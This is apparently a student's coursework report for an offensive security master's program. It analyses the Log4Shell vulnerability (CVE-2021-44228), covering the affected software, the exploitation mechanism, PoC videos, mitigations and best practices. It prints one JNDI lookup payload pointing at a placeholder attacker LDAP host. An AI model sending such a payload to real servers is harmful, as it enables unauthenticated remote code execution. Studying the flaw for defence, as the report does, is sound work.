M1.AC1. CVE Vulnerabilities (CPEs)

Professional Master in Offensive Security (OSCP) (26/03/2024 - 31/03/2025)

• Student: Nicolas Sadofschi

  gen0ne

  https://xargs.cat

Task Statement

With this activity, we will create a list of the vulnerabilities that you consider most relevant. For each vulnerability, the following information should be provided:

• Identifier (CVE or another identifier that allows locating it).
• Software and/or Operating System affected.
• Reason why you consider it relevant.
• Associated CPEs.

Vulnerability

Technical Data Sheet

*
Complete list: https://nvd.nist.gov/vuln/detail/CVE-2021-44228#vulnConfigurationsArea

Software and/or Operating System Affected

Software: Any software that uses the Log4j library is potentially vulnerable.
Operating System: Log4shell does not directly affect operating systems, but it can be used to attack systems running vulnerable software. This means that any operating system running vulnerable software is potentially vulnerable to Log4shell.

##

Description

What is Log4j? Log4j is a widely used open-source library in web applications and servers for event logging. It is developed in Java and maintained by the Apache Software Foundation.

What is the vulnerability about? In this task, I will cover CVE-2021-44228; however, there is another variant like CVE-2021-45046 - CVSS V3.1:9 that not only allows remote code execution (RCE) but also local code execution (LCE), meaning attackers can execute code both remotely and locally on the affected system.
The vulnerability CVE-2021-44228 is due to the way the Java Log4j library processes ‘logs’. Log4j has the ability to parse log entries; the problem arises because it can also execute code.
And this is precisely the crux of the matter, an attacker can manipulate and generate logs to insert malicious code into them. When Log4j processes such a message, it tries to interpret it and therefore executes it.

Exploitation Mechanism and PoC

1. Sending the payload: The attacker sends an HTTP request to a vulnerable server with malicious code. Note: any form on the victim’s website (or other more sophisticated mechanism) can be exploited to generate a malicious log.
2. Vulnerability in processing: The vulnerability exploits the lookup functionality of Log4j. This feature allows adding values to Log4j configuration from arbitrary locations. Note: The problem at this point is that the lookup function does not check the security of the information added by the attacker (point 1).
3. Types of vulnerable searches: Two of the most used searches in Log4Shell are:
   • JNDI Lookup: Allows Log4j to interact with directory services external to it through the Java Naming and Directory Interface (JNDI) interface.
   • Environment Lookup: Allows Log4j to read environment variables from the operating system.

**Payload Example:
**A common payload example that exploits this vulnerability is:
${jndi:ldap://ATTACKERCONTROLLEDHOST}

This code instructs Log4j to use the JNDI functionality to connect to an LDAP server controlled by the attacker. Note: I will not include in this task details on how to exploit JDNI and LDAP, for detailed information: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

**Consequence:
**By connecting to the attacker’s server, Log4j will execute arbitrary code on the vulnerable server. This gives the attacker almost complete control over the system.

PoC

PoC1: Log4J - CVE 2021-44228 (Log4Shell) - Exploitation & Mitigation

PoC2: CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)

Reflection on PoCs

The videos detail the vulnerability, not just demonstrating how it is exploited. They highlight the importance of JNDI and its relevance in exploitation, as without this discovery (from 2016) the impact of Log4Shell would be less. I have used the PoC1 video to learn about environment setup, identify exploitation techniques, and validate my own PoC on that platform.

#

Descriptive video with details and reflection:

Log4J & JNDI Exploit: Why So Bad? - Computerphile

Reflection: This video explains how Log4j works and why it is commonly used by developers. It also explains the functioning of logs and further details of the vulnerability. Example: How it treats logs recursively, and how it could be linked to JNDI.

It adds information about how through a JNDI call, Java on the victim’s side can execute code passed to it by an attacker. It explains how the library could have been developed to avoid functionalities that not every developer might need. Example: By design, it acts as described above, and an improvement could have been to add another component to transform information if necessary.

Final reflection: Many developers use this open-source library for convenience without fully understanding it. The library includes certain functions that are not necessary or used by everyone. If we combine log4j’s ability to parse commands with JNDI capable of executing code, we have this harmful cocktail.

##

Mitigation

Mitigation basically consists of updating the log4j version; the version to update will depend on the version of Java used (7 or 8). Java 8 and Log4j 2.17.0 are recommended.

On the other hand, NGFWs and WAFs are capable of inspecting traffic to detect and block malicious or unusual requests that may be trying to exploit the vulnerability. Spoiler: The payload can be obfuscated in various ways to “bypass” them, so it cannot be considered a complete mitigation per se.

Similarly, the attack surface could also be reduced if the vulnerable server has restricted outgoing traffic, although it would not be a complete solution either.

##

Why was this vulnerability chosen for this task?

• As an Infrastructure Engineer, supporting FWs, LBs, (and other technologies) usually when patching vulnerabilities, the responsibility always falls on my team, in this case, the remarkable thing was the great impact and collaboration of different teams (from different technologies and roles), as well as even collaboration with affected clients to solve and search for IOC.
• The breadth of vulnerable applications with Log4j makes the risk even greater.
• It is noteworthy that the vulnerability is critical because it allows remote code execution (RCE) without authentication.
• Malicious code can be introduced at any point where the application logs data.
• Unsupported IoT devices.

Best Practices and Recommendations

• Keep systems updated.
• Active monitoring, departments like SOC are vital.
• Make use of NGFW and SIEM
• Regarding IOC: data analysis platforms like Splunk or Elasticsearch in order to have visibility, detection, correlation, reliable source of data.

Conclusion

The Log4Shell vulnerability has been a crucial event that demonstrates the importance of software security and the need for proactive risk management. The number of affected devices and their ease of attack is staggering.

Furthermore, this security flaw has been a “0day” so it was active until it was reported, which led to many attacks without anyone even noticing.

I consider it a perfect candidate for the topics covered in this master’s program.

Sources

https://www.incibe.es/en/incibe-cert/blog/log4shell-analysis-vulnerabilities-log4j
https://www.elladodelmal.com/2022/02/como-se-puede-explotar-log4jshell-en.html
https://www.youtube.com/watch?v=uyq8yxWO1ls&t=1s
https://github.com/Cyb3rWard0g/log4jshell-lab
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words/blob/main/README.md

Bonus

As a lesson learned from this task and module, I have taken the following actions:

• HW inventory using Open Source Software (Snipe-IT) from my small infrastructure at home.
• Monthly Patch Day (first Sunday of each month).
• Network Diagram.
• Awareness to family members about updates and a small introduction to cybersecurity.

Network Diagram: